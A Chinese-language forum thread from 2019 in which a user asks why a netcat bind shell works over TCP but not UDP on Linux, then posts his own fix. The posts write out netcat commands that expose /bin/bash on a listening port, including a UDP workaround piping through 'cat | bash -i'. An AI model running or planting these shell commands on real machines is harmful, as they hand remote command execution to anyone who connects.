无忧启动论坛

 找回密码
 注册
搜索
系统gho:最纯净好用系统下载站广告联系 微信:wuyouceo QQ:184822951
查看: 1520|回复: 1
打印 上一主题 下一主题

nc用udp为何不能正向弹shell?

[复制链接]
跳转到指定楼层
1#
发表于 2019-5-18 12:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
正向弹 shell,用 tcp 是成功的,如下:

服务器端:nc  -lvvp 7777  -e  /bin/bash
客户端:nc  192.168.xxx.xxx  7777  

用 udp 就不行了,如下:

服务器端:nc  -u  -lvvp 7777  -e  /bin/bash
客户端:nc  -u  192.168.xxx.xxx  7777  

是 nc 的 bug 吗?

有人遇到过这种情况吗?我是在 Linux 下做的。不知 Windows 下用 udp 能否正向弹 shell。
2#
 楼主| 发表于 2019-5-18 12:26:18 | 只看该作者
本帖最后由 不点 于 2019-5-18 13:54 编辑

搞定了,原来是参数顺序不对。如下就可以了:

服务器端:nc   -l  -p  7777  -v  -v  -u  -e  /bin/bash
客户端:nc  -u  192.168.xxx.xxx  7777  


更正:

也不是参数顺序问题,可能是 udp 不可靠带来的问题。用下面的 workaround 就好了:

服务器端:nc    -luvvp    7777    -e    "cat   |   bash   -i   2>&1"
客户端:nc   -u   192.168.xxx.xxx   7777

客户端运行后,要(随便)敲入一行命令(这行命令,服务器不一定能够来得及执行它),服务器端才会显示连接上了。此后就正常了。

实在不清楚为何 cat 能够正常收集 udp 字符串,而 bash 自己却不行——这里好像也有某些隐藏的秘密。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1 )

闽公网安备 35020302032614号

GMT+8, 2024-4-25 22:49

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表